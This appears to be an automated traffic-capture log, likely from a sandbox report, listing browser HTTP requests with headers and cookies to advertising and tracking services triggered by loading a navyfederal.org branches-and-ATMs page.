Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&mt=&bd=&cb=1716590780932 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Freceive%3Fpartner_id%3DAPPNEXUS%26partner_device_id%3D%24UID%26pt%3Dd437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae%252Chttps%25253A%25252F%25252Fmatch.adsrvr.org%25252Ftrack%25252Fcmf%25252Fgeneric%25253Fttd_pid%25253Dtapad%252C HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FZ.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd><f=kW*g0D(HGz^Q
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=yjn0gup HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUoAzILCKLBmv3Bk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=xandrHMT&id=wCkBr523Tkqf1J4YPCC1Ww HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&mt=&bd=&cb=1716590780932 HTTP/1.1Host: px0.pbbl.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&expiration=1719182780&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590777199 HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYuQ.xA9TqPEGYFDEH_RdOpK9II9QP7s
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=APPNEXUS&partner_device_id=6116765264039870456&pt=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae%2Chttps%253A%252F%252Fmatch.adsrvr.org%252Ftrack%252Fcmf%252Fgeneric%253Fttd_pid%253Dtapad%2C HTTP/1.1Host: pixel.tapad.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=xandrHMT&id=wCkBr523Tkqf1J4YPCC1Ww HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9211946648&tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&_redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dadadvisor%26ttd_tpi%3D1%26gdpr%3D1%26gdpr_consent%3D HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
Source: global traffic	HTTP traffic detected: GET /ul_cb/match?publisher_dsp_id=416&external_user_id=BscuP2u4QsumCHkei5Vfyw&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DimprovedigitalHMT%26id%3D%7BPUB_USER_ID%7D HTTP/1.1Host: match.360yield.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24; tuuid_lu=1716590781
Source: global traffic	HTTP traffic detected: GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590777203 HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYuQ.xA9TqPEGYFDEH_RdOpK9II9QP7s
Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=291116a4-3ed1-4243-8e5e-92574127ce52&mt=&bd=&cb=1716590780928 HTTP/1.1Host: px0.pbbl.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redir/?partnerid=144&partneruserid=poRxPnFRToW5GcMxEIDgag HTTP/1.1Host: rtb-csync.smartadserver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&expiration=1719182780&gdpr=0&gdpr_consent=&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; CMPS=1322; CMPRO=1322
Source: global traffic	HTTP traffic detected: GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&pf= HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<CxrEQF']wIg2E?d?=+XZ!A#Fk.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd@<@(tGb<PaZ<TwnZC)v$x]PPd6z+4'bA#zs`eP9n?:Oi`A>PlZ[C[-kX-_fd_
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgASgDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
Source: global traffic	HTTP traffic detected: GET /pixel/10751/?che=1716590783147&ip=8.46.123.175 HTTP/1.1Host: d.agkn.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
Source: global traffic	HTTP traffic detected: GET /rrum?cm_dsp_id=198&external_user_id=rfcgc0VPTx-MfjRMJxOFOw&cb=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DindexHMT%26id%3D HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; CMPS=1322; CMPRO=1322
